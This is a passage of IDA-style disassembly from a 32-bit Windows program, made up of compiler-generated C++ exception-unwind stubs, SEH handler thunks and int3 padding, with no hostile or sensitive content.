		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403FC0	proc near		; DATA XREF: sub_403FC0+2o
		mov	eax, offset dword_43E890
		jmp	sub_4367C8
SEH_403FC0	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438208:				; DATA XREF: ___:0043E974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404640	proc near		; DATA XREF: sub_404640+2o
		mov	eax, offset dword_43E948
		jmp	sub_4367C8
SEH_404640	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43828B:				; DATA XREF: ___:0043E9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438296:				; DATA XREF: ___:0043EA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404C70	proc near		; DATA XREF: sub_404C70+8o
		mov	eax, offset dword_43E9D0
		jmp	sub_4367C8
SEH_404C70	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_438530:				; DATA XREF: ___:0043EBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43854E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43854E:				; CODE XREF: ___:00438540j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4066E0	proc near		; DATA XREF: sub_4066E0+2o
		mov	eax, offset dword_43EBA8
		jmp	sub_4367C8
SEH_4066E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_438570:				; DATA XREF: ___:0043EC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_438594
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438594:				; CODE XREF: ___:00438586j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406890	proc near		; DATA XREF: sub_406890+2o
		mov	eax, offset dword_43EBE0
		jmp	sub_4367C8
SEH_406890	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385BB:				; DATA XREF: ___:0043EC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385C6:				; DATA XREF: ___:0043EC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C30	proc near		; DATA XREF: sub_406C30+8o
		mov	eax, offset dword_43EC18
		jmp	sub_4367C8
SEH_406C30	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407030	proc near		; DATA XREF: sub_407030+2o
		mov	eax, offset dword_43EC58
		jmp	sub_4367C8
SEH_407030	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407660	proc near		; DATA XREF: sub_407660+8o
		mov	eax, offset dword_43EC88
		jmp	sub_4367C8
SEH_407660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438638:				; DATA XREF: ___:0043ECE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076F0	proc near		; DATA XREF: sub_4076F0+8o
		mov	eax, offset dword_43ECB8
		jmp	sub_4367C8
SEH_4076F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43865B:				; DATA XREF: ___:0043ED1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2FCh]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407790	proc near		; DATA XREF: sub_407790+2o
		mov	eax, offset dword_43ECF0
		jmp	sub_4367C8
SEH_407790	endp

; ---------------------------------------------------------------------------
		db 0CAh	dup(0CCh)
		dd 90C84D8Dh, 0C56A4CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409580	proc near		; DATA XREF: sub_409580+2o
		mov	eax, offset dword_43F098
		jmp	sub_4367C8
SEH_409580	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A290	proc near		; DATA XREF: sub_40A290+2o
		mov	eax, offset dword_43F0C8
		jmp	sub_4367C8
SEH_40A290	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_438A86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438A86:				; CODE XREF: ___:00438A78j
		retn
; ---------------------------------------------------------------------------


loc_438A87:				; DATA XREF: ___:0043F124o
		lea	ecx, [ebp-34h]
		jmp	sub_40158C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A430	proc near		; DATA XREF: sub_40A430+2o
		mov	eax, offset dword_43F0F8
		jmp	sub_4367C8
SEH_40A430	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C569CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_438AB9:				; DATA XREF: ___:0040A952o
		mov	eax, offset dword_43F138
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AE10	proc near		; DATA XREF: sub_40AE10+5o
		mov	eax, offset dword_43F168
		jmp	sub_4367C8
SEH_40AE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AF90	proc near		; DATA XREF: sub_40AF90+5o
		mov	eax, offset dword_43F1C8
		jmp	sub_4367C8
SEH_40AF90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438AFB:				; DATA XREF: ___:0043F254o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B0B0	proc near		; DATA XREF: sub_40B0B0+2o
		mov	eax, offset dword_43F228
		jmp	sub_4367C8
SEH_40B0B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438B4B:				; DATA XREF: ___:0043F29Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B170	proc near		; DATA XREF: sub_40B170+2o
		mov	eax, offset dword_43F270
		jmp	sub_4367C8
SEH_40B170	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B210	proc near		; DATA XREF: sub_40B210+2o
		mov	eax, offset dword_43F2B8
		jmp	sub_4367C8
SEH_40B210	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BC8:				; DATA XREF: ___:0043F324o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B430	proc near		; DATA XREF: sub_40B430+2o
		mov	eax, offset dword_43F2F8
		jmp	sub_4367C8
SEH_40B430	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BF8:				; DATA XREF: ___:0040B5F2o
		mov	eax, offset dword_43F338
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C30:				; DATA XREF: ___:0040B8D8o
		mov	eax, offset dword_43F368
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C360	proc near		; DATA XREF: sub_40C360+2o
		mov	eax, offset dword_43F3B0
		jmp	sub_4367C8
SEH_40C360	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401AFF
; ---------------------------------------------------------------------------


loc_438C7B:				; DATA XREF: ___:0043F40Co
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C86:				; DATA XREF: ___:0043F414o
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C400	proc near		; DATA XREF: sub_40C400+8o
		mov	eax, offset dword_43F3E0
		jmp	sub_4367C8
SEH_40C400	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CB10	proc near		; DATA XREF: sub_40CB10+2o
		mov	eax, offset dword_43F428
		jmp	sub_4367C8
SEH_40CB10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40226B
; ---------------------------------------------------------------------------


loc_438CEB:				; DATA XREF: ___:0043F484o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438CF6:				; DATA XREF: ___:0043F48Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D01:				; DATA XREF: ___:0043F494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D0C:				; DATA XREF: ___:0043F49Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBB0	proc near		; DATA XREF: sub_40CBB0+8o
		mov	eax, offset dword_43F458
		jmp	sub_4367C8
SEH_40CBB0	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D4B:				; DATA XREF: ___:0043F4D4o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CE60	proc near		; DATA XREF: sub_40CE60+2o
		mov	eax, offset dword_43F4A8
		jmp	sub_4367C8
SEH_40CE60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D7B:				; DATA XREF: ___:0043F50Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D86:				; DATA XREF: ___:0040CEE2o
		mov	eax, offset dword_43F4E0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D130	proc near		; DATA XREF: sub_40D130+2o
		mov	eax, offset dword_43F518
		jmp	sub_4367C8
SEH_40D130	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DEB:				; DATA XREF: ___:0043F58Co
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D580	proc near		; DATA XREF: sub_40D580+2o
		mov	eax, offset dword_43F560
		jmp	sub_4367C8
SEH_40D580	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DB40	proc near		; DATA XREF: sub_40DB40+2o
		mov	eax, offset dword_43F5D0
		jmp	sub_4367C8
SEH_40DB40	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438F28:				; DATA XREF: ___:0043F694o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E220	proc near		; DATA XREF: sub_40E220+2o
		mov	eax, offset dword_43F668
		jmp	sub_4367C8
SEH_40E220	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438F78:				; DATA XREF: ___:0043F6ECo
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
